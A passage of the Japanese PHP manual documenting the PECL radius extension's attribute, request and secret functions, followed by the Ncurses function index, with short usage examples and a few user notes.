    $attr = $resa['attr'];
    $data = $resa['data'];
    printf("属性を取得:%d %d Bytes %s\n", $attr, strlen($data), bin2hex($data));
}
?>

参考

  • radius_put_attr() - バイナリ属性を設定する
  • radius_get_vendor_attr() - ベンダ固有の属性を取得する
  • radius_put_vendor_attr() - ベンダー固有のバイナリ属性を設定する
  • radius_send_request() - リクエストを送信し、応答を待つ

User Contributed Notes

There are no user contributed notes for this page.


Extracts the data from a tagged attribute

  • ≪ radius_get_attr
  • radius_get_tagged_attr_tag ≫
  • PHP Manual
  • Radius 関数
  • Extracts the data from a tagged attribute

radius_get_tagged_attr_data

(PECL radius >= 1.3.0)

radius_get_tagged_attr_data — Extracts the data from a tagged attribute

説明

radius_get_tagged_attr_data ( string $data ) : string|false

If a tagged attribute has been returned from radius_get_attr(), radius_get_tagged_attr_data() will return the data from the attribute.

パラメータ

data

The tagged attribute to be decoded.

返り値

Returns the data from the tagged attribute 失敗した場合に false を返します.

例

例1 radius_get_tagged_attr_data() example

<?php
while ($resa = radius_get_attr($res)) {
    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    $tag = radius_get_tagged_attr_tag($data);
    $value = radius_get_tagged_attr_data($data);

    printf("Got tagged attribute with tag %d and value %s\n", $tag, $value);
}
?>

参考

  • radius_get_attr() - 属性を取得する
  • radius_get_tagged_attr_tag() - Extracts the tag from a tagged attribute

User Contributed Notes

There are no user contributed notes for this page.


Extracts the tag from a tagged attribute

  • ≪ radius_get_tagged_attr_data
  • radius_get_vendor_attr ≫
  • PHP Manual
  • Radius 関数
  • Extracts the tag from a tagged attribute

radius_get_tagged_attr_tag

(PECL radius >= 1.3.0)

radius_get_tagged_attr_tag — Extracts the tag from a tagged attribute

説明

radius_get_tagged_attr_tag ( string $data ) : int|false

If a tagged attribute has been returned from radius_get_attr(), radius_get_tagged_attr_data() will return the tag from the attribute.

パラメータ

data

The tagged attribute to be decoded.

返り値

Returns the tag from the tagged attribute 失敗した場合に false を返します.

例

例1 radius_get_tagged_attr_tag() example

<?php
while ($resa = radius_get_attr($res)) {
    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    $tag = radius_get_tagged_attr_tag($data);
    $value = radius_get_tagged_attr_data($data);

    printf("Got tagged attribute with tag %d and value %s\n", $tag, $value);
}
?>

参考

  • radius_get_attr() - 属性を取得する
  • radius_get_tagged_attr_data() - Extracts the data from a tagged attribute

User Contributed Notes

There are no user contributed notes for this page.


ベンダ固有の属性を取得する

  • ≪ radius_get_tagged_attr_tag
  • radius_put_addr ≫
  • PHP Manual
  • Radius 関数
  • ベンダ固有の属性を取得する

radius_get_vendor_attr

(PECL radius >= 1.1.0)

radius_get_vendor_attr — ベンダ固有の属性を取得する

説明

radius_get_vendor_attr ( string $data ) : array

radius_get_attr() が RADIUS_VENDOR_SPECIFIC を返す場合に、 ベンダを特定するために radius_get_vendor_attr() をコールします。

返り値

属性の型、ベンダおよびデータを含む連想配列か、エラー時には false を返します。

例

例1 radius_get_vendor_attr() の例

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("属性取得エラー: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];
    printf("属性を取得:%d %d Bytes %s\n", $attr, strlen($data), bin2hex($data));
    if ($attr == RADIUS_VENDOR_SPECIFIC) {

        $resv = radius_get_vendor_attr($data);
        if (is_array($resv)) {
            $vendor = $resv['vendor'];
            $attrv = $resv['attr'];
            $datav = $resv['data'];
            printf("ベンダ属性を取得:%d %d Bytes %s\n", $attrv, strlen($datav), bin2hex($datav));
        }

    }
}
?>

参考

  • radius_get_attr() - 属性を取得する
  • radius_put_vendor_attr() - ベンダー固有のバイナリ属性を設定する

User Contributed Notes

There are no user contributed notes for this page.


IP アドレス属性を設定する

  • ≪ radius_get_vendor_attr
  • radius_put_attr ≫
  • PHP Manual
  • Radius 関数
  • IP アドレス属性を設定する

radius_put_addr

(PECL radius >= 1.1.0)

radius_put_addr — IP アドレス属性を設定する

説明

radius_put_addr ( resource $radius_handle , int $type , string $addr , int $options = 0 , int $tag = ? ) : bool

IP アドレス属性を、現在の RADIUS リクエストにアタッチします。

注意:

リクエストを radius_create_request() で作ってからでないと、この関数は呼べません。

パラメータ

radius_handle

RADIUS リソース。

type

属性の型。

addr

IPv4 アドレスを表す文字列。 10.0.0.1 など。

options

属性のオプションのビットマスク。使えるオプションには、RADIUS_OPTION_TAGGED や RADIUS_OPTION_SALT があります。

tag

属性のタグ。RADIUS_OPTION_TAGGED が設定されていない限り、このパラメータは無視されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
PECL radius 1.3.0 | options および tag が追加されました。

User Contributed Notes

Do-not-spam at me dot nospam dot com 20-Sep-2018 12:43
radius_put_addr() doesn't support IPv6 yet

A workaround is to use radius_put_string when using IPv6


バイナリ属性を設定する

  • ≪ radius_put_addr
  • radius_put_int ≫
  • PHP Manual
  • Radius 関数
  • バイナリ属性を設定する

radius_put_attr

(PECL radius >= 1.1.0)

radius_put_attr — バイナリ属性を設定する

説明

radius_put_attr ( resource $radius_handle , int $type , string $value , int $options = 0 , int $tag = ? ) : bool

バイナリ属性を、現在の RADIUS リクエストにアタッチします。

注意:

リクエストを radius_create_request() で作ってからでないと、この関数は呼べません。

パラメータ

radius_handle

RADIUS リソース。

type

属性の型。

value

属性の値。バイナリ文字列として扱われます。

options

属性のオプションのビットマスク。使えるオプションには、RADIUS_OPTION_TAGGED や RADIUS_OPTION_SALT があります。

tag

属性のタグ。RADIUS_OPTION_TAGGED が設定されていない限り、このパラメータは無視されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 radius_put_attr() の例

<?php
mt_srand(time());
$chall = mt_rand();
$chapval = md5(pack('Ca*',1 , 'sepp' . $chall));
$pass = pack('CH*', 1, $chapval);
if (!radius_put_attr($res, RADIUS_CHAP_PASSWORD, $pass)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

変更履歴

バージョン | 説明
PECL radius 1.3.0 | options および tag が追加されました。

参考

  • radius_get_attr() - 属性を取得する
  • radius_get_vendor_attr() - ベンダ固有の属性を取得する
  • radius_put_vendor_attr() - ベンダー固有のバイナリ属性を設定する

User Contributed Notes

There are no user contributed notes for this page.


整数属性を設定する

  • ≪ radius_put_attr
  • radius_put_string ≫
  • PHP Manual
  • Radius 関数
  • 整数属性を設定する

radius_put_int

(PECL radius >= 1.1.0)

radius_put_int — 整数属性を設定する

説明

radius_put_int ( resource $radius_handle , int $type , int $value , int $options = 0 , int $tag = ? ) : bool

整数属性を、現在の RADIUS リクエストにアタッチします。

注意:

リクエストを radius_create_request() で作ってからでないと、この関数は呼べません。

パラメータ

radius_handle

RADIUS リソース。

type

属性の型。

value

属性の値。

options

属性のオプションのビットマスク。使えるオプションには、RADIUS_OPTION_TAGGED や RADIUS_OPTION_SALT があります。

tag

属性のタグ。RADIUS_OPTION_TAGGED が設定されていない限り、このパラメータは無視されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 radius_put_int() の例

<?php
if (!radius_put_int($res, RAD_FRAMED_PROTOCOL, RAD_PPP)) {
   echo 'RadiusError:' . radius_strerror($res). "\n<br />";
   exit;
}
?>

変更履歴

バージョン | 説明
PECL radius 1.3.0 | options および tag が追加されました。

参考

  • radius_put_string() - 文字列属性を設定する
  • radius_put_vendor_int() - ベンダー固有の整数属性を設定する
  • radius_put_vendor_string() - ベンダー固有の文字列属性を設定する

User Contributed Notes

There are no user contributed notes for this page.


文字列属性を設定する

  • ≪ radius_put_int
  • radius_put_vendor_addr ≫
  • PHP Manual
  • Radius 関数
  • 文字列属性を設定する

radius_put_string

(PECL radius >= 1.1.0)

radius_put_string — 文字列属性を設定する

説明

radius_put_string ( resource $radius_handle , int $type , string $value , int $options = 0 , int $tag = ? ) : bool

文字列属性を、現在の RADIUS リクエストにアタッチします。 一般に、文字列属性をアタッチするには radius_put_attr() のほうがより便利です。 というのも、こちらのほうはバイナリセーフだからです。

注意:

リクエストを radius_create_request() で作ってからでないと、この関数は呼べません。

パラメータ

radius_handle

RADIUS リソース。

type

属性の型。

value

属性の値。 これはヌル終端であることが期待されています。つまり、このパラメータはバイナリセーフではないということです。

options

属性のオプションのビットマスク。使えるオプションには、RADIUS_OPTION_TAGGED や RADIUS_OPTION_SALT があります。

tag

属性のタグ。RADIUS_OPTION_TAGGED が設定されていない限り、このパラメータは無視されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
PECL radius 1.3.0 | options および tag が追加されました。

例

例1 radius_put_string() の例

<?php
if (!radius_put_string($res, RADIUS_USER_NAME, 'billy')) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

参考

  • radius_put_int() - 整数属性を設定する
  • radius_put_vendor_int() - ベンダー固有の整数属性を設定する
  • radius_put_vendor_string() - ベンダー固有の文字列属性を設定する

User Contributed Notes

There are no user contributed notes for this page.


ベンダー固有の IP アドレス属性を設定する

  • ≪ radius_put_string
  • radius_put_vendor_attr ≫
  • PHP Manual
  • Radius 関数
  • ベンダー固有の IP アドレス属性を設定する

radius_put_vendor_addr

(PECL radius >= 1.1.0)

radius_put_vendor_addr — ベンダー固有の IP アドレス属性を設定する

説明

radius_put_vendor_addr ( resource $radius_handle , int $vendor , int $type , string $addr ) : bool

ベンダー固有の IP アドレス属性を、現在の RADIUS リクエストにアタッチします。

注意:

リクエストを radius_create_request() で作ってからでないと、この関数は呼べません。

パラメータ

radius_handle

RADIUS リソース。

vendor

ベンダー ID。

type

属性の型。

addr

文字列形式の IPv4 アドレス。 10.0.0.1 など。

options

属性のオプションのビットマスク。使えるオプションには、RADIUS_OPTION_TAGGED や RADIUS_OPTION_SALT があります。

tag

属性のタグ。RADIUS_OPTION_TAGGED が設定されていない限り、このパラメータは無視されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
PECL radius 1.3.0 | options および tag が追加されました。

User Contributed Notes

There are no user contributed notes for this page.


ベンダー固有のバイナリ属性を設定する

  • ≪ radius_put_vendor_addr
  • radius_put_vendor_int ≫
  • PHP Manual
  • Radius 関数
  • ベンダー固有のバイナリ属性を設定する

radius_put_vendor_attr

(PECL radius >= 1.1.0)

radius_put_vendor_attr — ベンダー固有のバイナリ属性を設定する

説明

radius_put_vendor_attr ( resource $radius_handle , int $vendor , int $type , string $value , int $options = 0 , int $tag = ? ) : bool

ベンダー固有のバイナリ属性を、現在の RADIUS リクエストにアタッチします。

注意:

リクエストを radius_create_request() で作ってからでないと、この関数は呼べません。

パラメータ

radius_handle

RADIUS リソース。

vendor

ベンダー ID。

type

属性の型。

value

属性の値。バイナリ文字列として扱われます。

options

属性のオプションのビットマスク。使えるオプションには、RADIUS_OPTION_TAGGED や RADIUS_OPTION_SALT があります。

tag

属性のタグ。RADIUS_OPTION_TAGGED が設定されていない限り、このパラメータは無視されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
PECL radius 1.3.0 | options および tag が追加されました。

例

例1 radius_put_vendor_attr() の例

<?php
if (!radius_put_vendor_attr($res, RADIUS_VENDOR_MICROSOFT, RAD_MICROSOFT_MS_CHAP_CHALLENGE, $challenge)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

参考

  • radius_get_vendor_attr() - ベンダ固有の属性を取得する

User Contributed Notes

There are no user contributed notes for this page.


ベンダー固有の整数属性を設定する

  • ≪ radius_put_vendor_attr
  • radius_put_vendor_string ≫
  • PHP Manual
  • Radius 関数
  • ベンダー固有の整数属性を設定する

radius_put_vendor_int

(PECL radius >= 1.1.0)

radius_put_vendor_int — ベンダー固有の整数属性を設定する

説明

radius_put_vendor_int ( resource $radius_handle , int $vendor , int $type , int $value , int $options = 0 , int $tag = ? ) : bool

ベンダー固有の整数属性を、現在の RADIUS リクエストにアタッチします。

注意:

リクエストを radius_create_request() で作ってからでないと、この関数は呼べません。

パラメータ

radius_handle

RADIUS リソース。

vendor

ベンダー ID。

type

属性の型。

value

属性の値。

options

属性のオプションのビットマスク。使えるオプションには、RADIUS_OPTION_TAGGED や RADIUS_OPTION_SALT があります。

tag

属性のタグ。RADIUS_OPTION_TAGGED が設定されていない限り、このパラメータは無視されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
PECL radius 1.3.0 | options および tag が追加されました。

参考

  • radius_put_vendor_string() - ベンダー固有の文字列属性を設定する

User Contributed Notes

There are no user contributed notes for this page.


ベンダー固有の文字列属性を設定する

  • ≪ radius_put_vendor_int
  • radius_request_authenticator ≫
  • PHP Manual
  • Radius 関数
  • ベンダー固有の文字列属性を設定する

radius_put_vendor_string

(PECL radius >= 1.1.0)

radius_put_vendor_string — ベンダー固有の文字列属性を設定する

説明

radius_put_vendor_string ( resource $radius_handle , int $vendor , int $type , string $value , int $options = 0 , int $tag = ? ) : bool

ベンダー固有の文字列属性を、現在の RADIUS リクエストにアタッチします。 一般に、文字列属性をアタッチするには radius_put_vendor_attr() のほうがより便利です。 というのも、こちらのほうはバイナリセーフだからです。

注意:

リクエストを radius_create_request() で作ってからでないと、この関数は呼べません。

パラメータ

radius_handle

RADIUS リソース。

vendor

ベンダー ID。

type

属性の型。

value

属性の値。 これはヌル終端であることが期待されています。つまり、このパラメータはバイナリセーフではないということです。

options

属性のオプションのビットマスク。使えるオプションには、RADIUS_OPTION_TAGGED や RADIUS_OPTION_SALT があります。

tag

属性のタグ。RADIUS_OPTION_TAGGED が設定されていない限り、このパラメータは無視されます。

変更履歴

バージョン | 説明
PECL radius 1.3.0 | options および tag が追加されました。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • radius_put_vendor_int() - ベンダー固有の整数属性を設定する

User Contributed Notes

Horol 17-Oct-2019 08:42
When vendor specific string is not included, you can define it and use in your code:
<?php
define('RADIUS_VENDOR_CISCO', 9);
define('RADIUS_PROXY_STATE', 33);
radius_put_vendor_string($res, RADIUS_VENDOR_CISCO, RADIUS_PROXY_STATE, "h323-gw-id=123456");
?>

List of RADIUS Attribute Types:
https://www.iana.org/assignments/radius-types/radius-types.xhtml#radius-types-2

List of Vendor ID's:
https://www.iana.org/assignments/enterprise-numbers/enterprise-numbers
sebastian at sebsoft dot nl 30-Oct-2008 08:04
In the PECL sources, a certain vendor specific string is included for Microsoft systems.
However, if you just want to pass something entirely different, like Cisco specifics, that's possible.
The fact that this isn't included in the sources of the PECL doesn't mean you can't use them.

Better said, everything there is in the dictionary of your Radius server can be put in as string.

Like the following example to write a h323-gw-id:
<?php
$res = radius_acct_open ();
radius_add_server($res,'127.0.0.1', 1813, 'mysecret', 10, 2);
radius_create_request($res, RADIUS_ACCOUNTING_REQUEST);
radius_put_vendor_string($res,9,33 ,"h323-gw-id=123456");

$result = radius_send_request($res);
?>


リクエスト認証子を返す

  • ≪ radius_put_vendor_string
  • radius_salt_encrypt_attr ≫
  • PHP Manual
  • Radius 関数
  • リクエスト認証子を返す

radius_request_authenticator

(PECL radius >= 1.1.0)

radius_request_authenticator — リクエスト認証子を返す

説明

radius_request_authenticator ( resource $radius_handle ) : string

パスワードや暗号化キーのような加工されたデータを復元する際には リクエスト認証子が必要となります。

返り値

リクエスト認証子を文字列で返します。エラー時には false を返します。

参考

  • radius_demangle() - データを復元する

User Contributed Notes

There are no user contributed notes for this page.


Salt-encrypts a value

  • ≪ radius_request_authenticator
  • radius_send_request ≫
  • PHP Manual
  • Radius 関数
  • Salt-encrypts a value

radius_salt_encrypt_attr

(PECL radius >= 1.3.0)

radius_salt_encrypt_attr — Salt-encrypts a value

説明

radius_salt_encrypt_attr ( resource $radius_handle , string $data ) : string|false

Applies the RADIUS salt-encryption algorithm to the given value.

In general, this is achieved automatically by providing the RADIUS_OPTION_SALT option to an attribute setter function, but this function can be used if low-level request construction is required.

パラメータ

data

The data to be salt-encrypted.

返り値

Returns the salt-encrypted data 失敗した場合に false を返します.

参考

  • radius_put_addr() - IP アドレス属性を設定する
  • radius_put_attr() - バイナリ属性を設定する
  • radius_put_int() - 整数属性を設定する
  • radius_put_string() - 文字列属性を設定する

User Contributed Notes

There are no user contributed notes for this page.


リクエストを送信し、応答を待つ

  • ≪ radius_salt_encrypt_attr
  • radius_server_secret ≫
  • PHP Manual
  • Radius 関数
  • リクエストを送信し、応答を待つ

radius_send_request

(PECL radius >= 1.1.0)

radius_send_request — リクエストを送信し、応答を待つ

説明

radius_send_request ( resource $radius_handle ) : int

Radius リクエストを作成した後は、 radius_send_request() でそれを送信します。

radius_send_request() 関数は、リクエストを送信して 応答を待ちます。定義されているサーバー間で、必要に応じてラウンドロビン 形式で再試行します。

返り値

有効な応答を受信したら、radius_send_request() は応答の型を示す Radius コードを返します。一般的なコードは RADIUS_ACCESS_ACCEPT、 RADIUS_ACCESS_REJECT あるいは RADIUS_ACCESS_CHALLENGE です。 有効な応答を受信できなかった場合は、 radius_send_request() は false を返します。

参考

  • radius_create_request() - 課金あるいは認証のリクエストを作成する

User Contributed Notes

johnny at gmail dot com 07-Apr-2017 02:15
The documentation does not state that the return value could also be other constants like RADIUS_DISCONNECT_ACK and more.


共有秘密鍵を返す

  • ≪ radius_send_request
  • radius_strerror ≫
  • PHP Manual
  • Radius 関数
  • 共有秘密鍵を返す

radius_server_secret

(PECL radius >= 1.1.0)

radius_server_secret — 共有秘密鍵を返す

説明

radius_server_secret ( resource $radius_handle ) : string

パスワードや暗号化キーのような加工されたデータを復元する際の SALT として、共有秘密鍵が必要となります。

返り値

サーバーの共有秘密鍵を文字列で返します。エラー時には false を返します。

User Contributed Notes

There are no user contributed notes for this page.


エラーメッセージを返す

  • ≪ radius_server_secret
  • コマンドライン関連 ≫
  • PHP Manual
  • Radius 関数
  • エラーメッセージを返す

radius_strerror

(PECL radius >= 1.1.0)

radius_strerror — エラーメッセージを返す

説明

radius_strerror ( resource $radius_handle ) : string

Radius 関数が失敗した場合にはエラーメッセージが記録されます。 この関数により、エラーメッセージを取得することが可能となります。

返り値

失敗した radius 関数からのエラーメッセージを文字列で返します。

User Contributed Notes

There are no user contributed notes for this page.


コマンドライン関連

  • Ncurses — Ncurses 端末画面制御
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Ncurses 関数
  • Readline — GNU Readline
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Readline 関数

User Contributed Notes

alvaro at demogracia dot com 11-May-2011 05:13
None of these extensions (Newt, Ncurses or Readline) work natively on Windows platforms. Ncurses is available for Cygwin, the other two do not mention it explicitly.


Ncurses 端末画面制御

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
    • エラーコード
    • カラー
    • キー
    • マウス
  • Ncurses 関数
    • ncurses_addch — 現在の位置に文字を追加し、カーソルを進める
    • ncurses_addchnstr — 現在の位置に指定した長さの属性付き文字列を追加する
    • ncurses_addchstr — 現在の位置に属性付き文字列を追加する
    • ncurses_addnstr — 現在の位置に、指定した長さの文字列を追加する
    • ncurses_addstr — 現在の位置にテキストを出力する
    • ncurses_assume_default_colors — カラー 0 のデフォルト色を定義する
    • ncurses_attroff — 指定した属性を無効とする
    • ncurses_attron — 指定した属性を有効にする
    • ncurses_attrset — 指定した属性を設定する
    • ncurses_baudrate — 端末のボーレートを返す
    • ncurses_beep — 端末のビープを鳴らす
    • ncurses_bkgd — 端末画面の背景属性を設定する
    • ncurses_bkgdset — 画面背景を制御する
    • ncurses_border — 属性付きの文字で画面周囲に境界を描画する
    • ncurses_bottom_panel — パネルをスタックの最下部に移動する
    • ncurses_can_change_color — 端末の色を変更可能かどうか確認する
    • ncurses_cbreak — 入力のバッファリングをオフにする
    • ncurses_clear — スクリーンをクリアする
    • ncurses_clrtobot — 現在位置から最下部までスクリーンをクリアする
    • ncurses_clrtoeol — 現在位置から行末までスクリーンをクリアする
    • ncurses_color_content — 色の RGB 値を取得する
    • ncurses_color_set — 前景/背景色を設定する
    • ncurses_curs_set — カーソル状態を設定する
    • ncurses_def_prog_mode — 端末(プログラム)モードを保存する
    • ncurses_def_shell_mode — 端末(シェル)モードを保存する
    • ncurses_define_key — キーコードを定義する
    • ncurses_del_panel — パネルをスタックから取り除き、削除する (しかし、関連付けられているウィンドウは削除しない)
    • ncurses_delay_output — パディング文字を用いて端末出力を遅延させる
    • ncurses_delch — 現在位置の文字を削除し、残った部分を左に移動する
    • ncurses_deleteln — 現在位置の行を削除し、残りの部分を上に上げる
    • ncurses_delwin — ncurses ウインドウを削除する
    • ncurses_doupdate — 準備中の全ての出力を書き込み、端末をリフレッシュする
    • ncurses_echo — キーボード入力のエコーを有効とする
    • ncurses_echochar — リフレッシュを行いつつ 1 文字出力する
    • ncurses_end — ncurses を終了し、画面を消去する
    • ncurses_erase — 端末画面を消去する
    • ncurses_erasechar — 現在の erase 文字を返す
    • ncurses_filter — iniscr() および newterm() の LINES を 1 に設定する
    • ncurses_flash — 端末画面をフラッシュする(ビジュアルベル)
    • ncurses_flushinp — キーボード入力バッファをフラッシュする
    • ncurses_getch — キーボードから 1 文字読み込む
    • ncurses_getmaxyx — ウィンドウの大きさを返す
    • ncurses_getmouse — マウスイベントを読みこむ
    • ncurses_getyx — ウィンドウ内の現在のカーソル位置を返す
    • ncurses_halfdelay — 端末をハーフディレイモードにする
    • ncurses_has_colors — カラー端末かどうか確認する
    • ncurses_has_ic — 挿入/削除機能の有無を確認する
    • ncurses_has_il — 行挿入/削除機能の有無を確認する
    • ncurses_has_key — 端末キーボードにおいてファンクションキーの有無を調べる
    • ncurses_hide_panel — パネルをスタックから取り除き、見えなくする
    • ncurses_hline — 現在位置に属性付きの文字を用いて最大 n 文字長の線を水平に描画する
    • ncurses_inch — 現在位置の文字と属性を取得する
    • ncurses_init_color — 端末の色を定義する
    • ncurses_init_pair — 色ペアを定義する
    • ncurses_init — ncurses を初期化する
    • ncurses_insch — 文字を挿入し、現在位置にある文字を含む残りの行を移動する
    • ncurses_insdelln — 現在の行の後に複数の行を挿入し、スクロールダウンする (負の数を指定すると削除し、スクロールアップする)
    • ncurses_insertln — 行を挿入し、残りの部分をスクロールダウンする
    • ncurses_insstr — 現在位置に文字列を挿入し、残りの行を右に移動する
    • ncurses_instr — 端末画面から文字列を読み込む
    • ncurses_isendwin — Ncurses が endwin モードの場合、通常の画面出力が実行可能
    • ncurses_keyok — キーコードを有効または無効にする
    • ncurses_keypad — キーパッドを on あるいは off にする
    • ncurses_killchar — 現在の行削除文字を返す
    • ncurses_longname — 端末の説明を返す
    • ncurses_meta — 8 ビットのメタキー情報を有効/無効にする
    • ncurses_mouse_trafo — 座標を変換する
    • ncurses_mouseinterval — マウスボタンクリックのタイムアウトを設定する
    • ncurses_mousemask — マウスオプションを設定する
    • ncurses_move_panel — 左上が [startx, starty] となるようにパネルを移動する
    • ncurses_move — 出力位置を移動する
    • ncurses_mvaddch — 現在位置を移動し、文字を追加する
    • ncurses_mvaddchnstr — 位置を移動し、指定長の属性付きの文字列を追加する
    • ncurses_mvaddchstr — 位置を移動し、属性付きの文字列を追加する
    • ncurses_mvaddnstr — 位置を移動し、指定長の文字列を追加する
    • ncurses_mvaddstr — 位置を移動し、文字列を追加する
    • ncurses_mvcur — 直ちにカーソルを移動する
    • ncurses_mvdelch — 位置を移動し、文字を削除、行の残りを左シフトする
    • ncurses_mvgetch — 位置を移動し、新しい位置で文字を得る
    • ncurses_mvhline — 位置を新しく設定し、属性付きの文字を用いて最大n文字の水平線を描画
    • ncurses_mvinch — 位置を移動し、新しい位置の属性付きの文字を取得する
    • ncurses_mvvline — 位置を新しく設定し、属性付きの文字を用いて最大 n 文字の垂直線を描画する
    • ncurses_mvwaddstr — ウインドウの新規位置に文字列を追加する
    • ncurses_napms — スリープ
    • ncurses_new_panel — 新しいパネルを作成し、それをウィンドウに関連づける
    • ncurses_newpad — 新しいパッド (window) を作成する
    • ncurses_newwin — 新規ウインドウを作成する
    • ncurses_nl — 改行と復改/ラインフィードを変換する
    • ncurses_nocbreak — 端末を cooked モードに変更する
    • ncurses_noecho — キーボード入力エコーを無効にする
    • ncurses_nonl — 改行と復改/ラインフィードを変換しない
    • ncurses_noqiflush — シグナル文字のフラッシュを無効とする
    • ncurses_noraw — 端末を raw モード以外に変更する
    • ncurses_pair_content — 色ペアの前景色と背景色を取得する
    • ncurses_panel_above — パネルの上のパネルを返す
    • ncurses_panel_below — パネルの下のパネルを返す
    • ncurses_panel_window — パネルに関連付けられたウィンドウを返す
    • ncurses_pnoutrefresh — パッドから仮想画面にリージョンをコピーする
    • ncurses_prefresh — パッドから仮想画面にリージョンをコピーする
    • ncurses_putp — パディング情報を文字列に適用し、それを出力する
    • ncurses_qiflush — シグナル文字のフラッシュを有効とする
    • ncurses_raw — 端末を raw モードに変更する
    • ncurses_refresh — 画面をリフレッシュする
    • ncurses_replace_panel — パネルに関連付けられたウィンドウを置き換える
    • ncurses_reset_prog_mode — def_prog_mode で保存したプログラムモードをリセットする
    • ncurses_reset_shell_mode — def_shell_mode で保存したシェルモードをリセットする
    • ncurses_resetty — 保存した端末モードに復帰する
    • ncurses_savetty — 端末の状態を保存する
    • ncurses_scr_dump — 画面の内容をファイルにダンプする
    • ncurses_scr_init — ファイルダンプから画面を初期化する
    • ncurses_scr_restore — ファイルダンプから画面を復帰する
    • ncurses_scr_set — ファイルダンプから画面を継承する
    • ncurses_scrl — 現在位置を変更せずに画面の内容をスクロールアップまたはダウンする
    • ncurses_show_panel — 不可視のパネルをスタックの最上部に置き、見えるようにする
    • ncurses_slk_attr — 現在のソフトラベルキー属性を返す
    • ncurses_slk_attroff — ソフトファンクションキーラベルの指定した属性を無効にする
    • ncurses_slk_attron — ソフトファンクションキーラベルの指定した属性を有効にする
    • ncurses_slk_attrset — ソフトファンクションキーラベルに、指定した属性を設定する
    • ncurses_slk_clear — 画面からソフトラベルをクリアする
    • ncurses_slk_color — ソフトラベルキーの色を設定する
    • ncurses_slk_init — ソフトラベルキー関数を初期化する
    • ncurses_slk_noutrefresh — 仮想画面にソフトラベルキーをコピーする
    • ncurses_slk_refresh — ソフトラベルキーを画面にコピーする
    • ncurses_slk_restore — ソフトラベルキーを復帰する
    • ncurses_slk_set — ファンクションキーラベルを設定する
    • ncurses_slk_touch — ncurses_slk_noutrefresh を実行する際に強制的に出力する
    • ncurses_standend — 'standout' 属性の使用を停止する
    • ncurses_standout — 'standout' 属性の使用を開始する
    • ncurses_start_color — 色機能を初期化する
    • ncurses_termattrs — 端末でサポートされる全ての属性フラグの論理和を返す
    • ncurses_termname — 端末の(簡略)名を返す
    • ncurses_timeout — 特別なキーシーケンスのタイムアウトを設定する
    • ncurses_top_panel — 可視パネルをスタックの最上部に移動する
    • ncurses_typeahead — typeahead 確認用に別のファイル記述子を指定する
    • ncurses_ungetch — 入力ストリームに 1 文字戻す
    • ncurses_ungetmouse — マウスイベントをキューにプッシュする
    • ncurses_update_panels — 仮想画面を再描画し、スタック内のパネルとの関係を反映させる
    • ncurses_use_default_colors — 端末のデフォルト色をカラー ID -1 に割り付ける
    • ncurses_use_env — 端末の大きさに関する環境情報の使用を制御する
    • ncurses_use_extended_names — terminfo 記述において拡張名の使用を制御する
    • ncurses_vidattr — video attribute モードで、端末上に文字列を表示する
    • ncurses_vline — 現在位置に最大 n 文字の属性付きの文字を用いて垂直線を描画する
    • ncurses_waddch — ウィンドウ内の現在位置に文字を追加し、カーソルを進める
    • ncurses_waddstr — ウィンドウ内の現在位置にテキストを出力する
    • ncurses_wattroff — ウィンドウの属性をオフにする
    • ncurses_wattron — ウィンドウの属性をオンにする
    • ncurses_wattrset — ウィンドウの属性を設定する
    • ncurses_wborder — 属性文字を使用してウィンドウの周囲に線を描画する
    • ncurses_wclear — ウィンドウをクリアする
    • ncurses_wcolor_set — ウィンドウの色の組み合わせを設定する
    • ncurses_werase — ウィンドウを消去する
    • ncurses_wgetch — キーボート (ウィンドウ) から文字を読み込む
    • ncurses_whline — 指定した属性文字を用いて、最大 n 文字分の長さの水平線を ウィンドウに描画する
    • ncurses_wmouse_trafo — ウィンドウ/標準画面の座標系を変換する
    • ncurses_wmove — ウィンドウの出力位置を移動する
    • ncurses_wnoutrefresh — ウィンドウを仮想画面にコピーする
    • ncurses_wrefresh — 端末画面のウインドウをリフレッシュする
    • ncurses_wstandend — ウィンドウの standout モードを終了する
    • ncurses_wstandout — ウィンドウの standout モードに入る
    • ncurses_wvline — 指定した属性文字を用いて、最大 n 文字分の長さの垂直線を ウィンドウに描画する

User Contributed Notes

tom dot setliff at gmail dot com 17-Sep-2009 12:36
I am using php 5.2.9 on FC9 and had issues with ncurses_init() not being defined when I ran a simple script after installing with pecl.  Adding
extension ncurses.so
to my php.ini file resolved this issue. Also when installing with pecl I had some issues, they were resolved by using yum to install additional packages:
yum install ncurses-devel php-pear.


はじめに

ncurses (new curses) は、System V Rel 4.0(及びそれ以前)の curses の フリーなソフトウエアエミュレーションです。ncurses は terminfo 型式を 使用し、パッド、カラー、複数のハイライト、フォーム文字、 ファンクションキーマッピングをサポートします。 このライブラリは対話的なものであるため、 Web アプリケーションを作成する際にはほとんど使用されませんが、 コマンドラインから PHP を使用 するスクリプトを書く際には有用です。

使用できる機能、たとえば色などは、使用している端末に依存します。
ncurses_has_colors() や
ncurses_can_change_color()、
ncurses_has_ic() といった関数でこれらの機能について調べることができます。

注意:

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 5.3.0.
